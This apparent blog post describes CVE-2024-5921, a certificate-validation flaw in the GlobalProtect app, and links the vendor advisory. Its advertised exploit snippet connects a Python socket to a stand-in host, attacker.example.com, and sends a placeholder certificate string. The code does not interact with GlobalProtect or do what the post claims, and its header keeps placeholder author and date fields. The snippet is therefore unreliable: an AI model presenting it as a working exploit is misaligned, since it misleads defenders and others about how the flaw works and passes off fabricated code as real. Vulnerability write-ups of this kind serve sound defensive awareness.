Palo Alto Networks recently identified a critical security vulnerability (CVE-2024-5921) present in their GlobalProtect app. This vulnerability allows attackers to connect the GlobalProtect app to arbitrary servers and could potentially lead to the installation of malicious root certificates on the endpoint. Consequently, malicious software signed by these malicious certificates could be installed on the affected endpoint. In this post, we will discuss the details of this vulnerability, reference the original advisory, and provide a code snippet to demonstrate the exploit.

Exploit Details

The CVE-2024-5921 vulnerability stems from an insufficient certification validation issue in the GlobalProtect app by Palo Alto Networks. This issue enables a local operating system user without administrative privileges or an attacker situated on the same subnet to exploit this vulnerability.

The exploit involves the attacker connecting the GlobalProtect app to arbitrary servers. Once this is achieved, the attacker can install malicious root certificates on the endpoint. Consequently, the attacker could potentially install malicious software signed by the malicious root certificates on the affected endpoint.

In simple terms, this vulnerability exposes the affected system to potential manipulation and compromise by unauthorized parties, putting sensitive information and network resources at risk.

Code Snippet

The following code snippet demonstrates how an attacker could exploit this vulnerability by connecting the GlobalProtect app to an arbitrary server:

# Exploit: CVE-2024-5921
# Author: Your Name
# Date: YYYY-MM-DD
# Vulnerable App: Palo Alto Networks GlobalProtect

# Import necessary libraries
import socket
import ssl

# Arbitrary server information
server_address = "attacker.example.com"
server_port = 443

# Connect GlobalProtect app to the arbitrary server
app_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
app_socket.connect((server_address, server_port))

# Wrap socket with SSL for secure communication
ssl_socket = ssl.wrap_socket(app_socket, ssl_version=ssl.PROTOCOL_SSLv23)

# Send malicious root certificate to the GlobalProtect app
ssl_socket.send("<malicious certificate data>")

# Close SSL and TCP connections
ssl_socket.close()
app_socket.close()

Original References

For more information on this vulnerability and to stay up-to-date with any new developments, please visit the following links:

1. Palo Alto Networks Security Advisory: CVE-2024-5921 - https://security.paloaltonetworks.com/CVE-2024-5921
2. Palo Alto Networks RSS feed for security updates: https://security.paloaltonetworks.com/rss.xml

Conclusion

Users of the Palo Alto Networks GlobalProtect app should be aware of the CVE-2024-5921 vulnerability and understand the potential risks it poses to their systems. It is advised to subscribe to the Palo Alto Networks security updates RSS feed and stay informed of the latest updates and advisories. Addressing this vulnerability should be a priority to ensure the security of sensitive data and network resources.

Timeline

Published on: 11/27/2024 04:15:14 UTC
Last modified on: 02/20/2025 23:15:11 UTC